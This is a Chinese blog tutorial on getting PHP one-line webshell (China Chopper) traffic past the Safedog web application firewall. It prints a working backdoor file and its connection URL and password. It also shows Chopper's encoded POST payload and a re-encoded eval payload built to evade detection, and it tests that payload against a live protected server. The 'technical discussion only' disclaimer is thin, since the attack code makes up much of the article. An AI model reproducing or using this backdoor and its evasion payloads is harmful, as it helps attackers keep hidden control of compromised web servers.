既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令。

当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实例,用通俗易懂的方式来演示数据提交层直接过狗原理。

本文意义:纵使网上有很多修改菜刀过狗的方法,但是我都看了下,局限性比较大,而且不太系统,新人学了可能会只是其一不知其二

环境:

域名与服务器均为个人真实所有。

服务器开启网站安全狗+服务器安全狗,引擎全部开启,最高防护级别。

对比环境:

服务器:apache+php5.3;本地:nginx+php5.3无狗环境作为对比

本地与有狗服务器具有相同的后门代码与链接方式

说明:本文仅分析过狗原理与代码实现,技术层面探讨,菜刀或者其他软件制作与修改本文不予讨论。

后门文件:

  1. $a=array(base64_decode($_REQUEST['a']));
  1. @array_map("assert",$a);

菜刀连接方式:http://localhost/test.php?xx=YXNzZXJ0KCRfUkVRVUVTVFsnc29maWEnXSk=     密码:sofia

该文件特征层面可过狗 ,上一篇文章已提到,

我们知道,菜刀已存在这么多年,安全狗早已对菜刀的特征门清,我们先来看下菜刀连接的时候特征是什么。

这是我随便连接的一个后门,其实不管后门代码是什么,打开文件管理,菜刀提交的数据都是一样的,如图

代码为:

  1. sofia=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7

命令执行代码,base64_decode结果为以下,获取当前目录与磁盘名

  1. @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();

其中参数名“sofia”就是我们所谓的菜刀密码不需要多解释吧?

那么我们在本地手工提交菜刀的post数据看一下:

本地正常返回当前目录与磁盘名,而服务端未显示,一定是被拦截咯,事实证明确实如此:

那为什么没蹦出拦截框呢?

根据我的经验,一般文件特征层能检测到是后门,才会弹窗,数据层一般不弹,当然,这只是我个人见解,可能不严谨。

其实狗狗对后门的检测文件特征是与数据提交检测机制是完全独立的。

为了验证这一点,我在同目录下建立一个null.php,内容为正常代码:

当不post数据时,正常输出内容,说明文件本身没有问题

把狗狗的post数据发一下试试?

又没有回显了,再去狗狗日志看下:

菜刀特征分析

那么很明显了,菜刀的post数据已经是个大特征了。

相信大家都能看出来这个eval太惹眼了(当然,其他版本或者其他waf检测的可能会是$_POST,或base64_decode)

  1. sofia=@eval(base64_decode($_POST[z0]));

虽然看上去数据提交不怎么注重隐蔽,但是不得不承认菜刀是个伟大发明。

因为php后门五花八门,接受数据的类型与格式各不相同,于是菜刀就在post数据中再次构造一个执行代码,使得php后门接收到的数据全部统一为:“eval('执行命令')”,这样才使得菜刀的易用性才那么强。

具体代码执行与返回请参考上一章节

修改post数据

既然原因清楚了,我们接下来就修改post数据,修改的重点就在于替换eval特征。

思路一:分离“eval”四个字母即可

但是post数据中发挥空间太小,暂时没想到什么好办法。

思路二:修改后门文件,直接执行语句

这里可能就需要用一些其他回调函数,或者其他猥琐姿势,能够直接执行来自post的base64加密后的纯执行语句。

思路三:直接手工构造eval语句

前面说过,post数据最终的结果为:eval('执行命令')”,而且我们的语句对a参数已经decode的了

  1. $a=array(base64_decode($_REQUEST['a']));

那么就直接把整个eval语句base64加密一下即可,

那么我们菜刀原始的利用语句可以这么构造:

  1. eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);echo $D."\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir($L.":"))echo($L.":");};echo("|<-");die();')

然后把这句话base64加密下,得到:

  1. ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

ok,那么这时候我们是直接把这句话传给$a的,那么post数据为:

  1. a=ZXZhbCgnQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7Jyk=

试试?

成功返回结果,换个语句试试?

至此,这是数据流层面的过狗方式,当然过狗思路千千万,不限于这一种,更多的是需要大家去发掘。

另外,

这里要跟大家提一点,assert函数与eval函数是完全不同的函数,不要以为能出phpinfo()结果就是过狗了,assert能执行phpinfo()一类的函数,但是其他php语句还是是需要借用eval的,当然,执行命令也不限于eval,还有各种回调函数。

写在最后

怎么?你是不是还想问菜刀怎么连?

本文开头说了,这里仅讨论技术本身,至于如何去用,那么,会php的人,看了这篇文字,应该已经有思路了,

而不会php的人,可能就想着:“博客赶紧给我来个一句话加软件,最好打开就能用”,然后偷偷窃喜指望它能平天下。

我还是那句话,安全之路,我们大多数人还只是个学者,希望多关注技术本身,不要膨胀才好。

PHP一句话后门过狗姿势万千之传输层加工的更多相关文章

  1. php一句话后门过狗姿势万千之传输层加工【三】

    既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...

  2. php一句话后门过狗姿势万千之传输层加工(1)

    写在前面:过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面.但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会 ...

  3. php一句话后门过狗姿势万千之后门构造与隐藏【二】

    第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...

  4. PHP一句话后门过狗姿势万千之后门构造与隐藏

    第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...

  5. PHP一句话后门过狗姿势万千之理论篇

    写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...

  6. 那些强悍的PHP一句话后门

    强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马.利用404 ...

  7. 一些变态的PHP一句话后门收集

    这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...

  8. 强大的PHP一句话后门

    强悍的PHP一句话后门  这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1 ...

  9. 9. 那些强悍的PHP一句话后门

    强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用4 ...

随机推荐

  1. bzoj4557 [JLoi2016]侦察守卫——DP

    题目:https://www.lydsy.com/JudgeOnline/problem.php?id=4557 见这位的博客:https://www.cnblogs.com/Narh/p/91403 ...

  2. 在线制作一键生成微信小程序实现原理之需求分析

    随着微信小程序接口不断的放开,小程序在今年或许是明年必将成为商家的一个标配,这个标配的标准就是要开发周期短,费用低,功能实用.只有这样才能让线下的广大商家快速接入.现在也有好多公司开发出了一键生成快速 ...

  3. js 模拟a标签打开新网页

      在这里备份一下,方便以后查找.   var el = document.createElement("a"); document.body.appendChild(el); e ...

  4. 014--python运算符和作业改进

    一.运算符 % 取模,返回商的余数 10/3     3.33333333335 10//3    3   地板除,取整数,不是四舍五入 a = 3  b = 5  ----->   a< ...

  5. 洛谷 - P2887 - 防晒霜Sunscreen - 贪心

    https://www.luogu.org/problemnew/show/P2887 感觉可以: 把防晒霜拆点限制流量为瓶数,奶牛拆点限制流量为1,当某个防晒霜与奶牛匹配时连一条边,求最大流.但是这 ...

  6. 洛谷 - P2657 - windy数 - 数位dp

    https://www.luogu.org/problemnew/show/P2657 不含前导零且相邻两个数字之差至少为2的正整数被称为windy数. 这道题是个显然到不能再显然的数位dp了. 来个 ...

  7. C++笔试题(四)

    华为从事通信网络技术与产品的研究.开发.生产与销售,是中国电信市场的主要供应商之一,并已成功进入全球电信市场.每年华为都要在各大高校招聘大批的应界生,特别是华中科技大学.公司网址是:http://ww ...

  8. bzoj 3667: Rabin-Miller算法【Miller-Rabin】

    Miller-Rabin模板 #include<iostream> #include<cstdio> #include<algorithm> using names ...

  9. 【Tip】Python

    『基本操作』 [查看Python所在目录] import os print(os.__file__) [查看已安装的包] pip list [获取当前脚本所在目录] import sys import ...

  10. jQuery 第九章 工具方法

    $.type() $.isArray() $.isFunction() $.isWindow()... $.trim() $.proxy() $.noConflict() $.each() $.map ...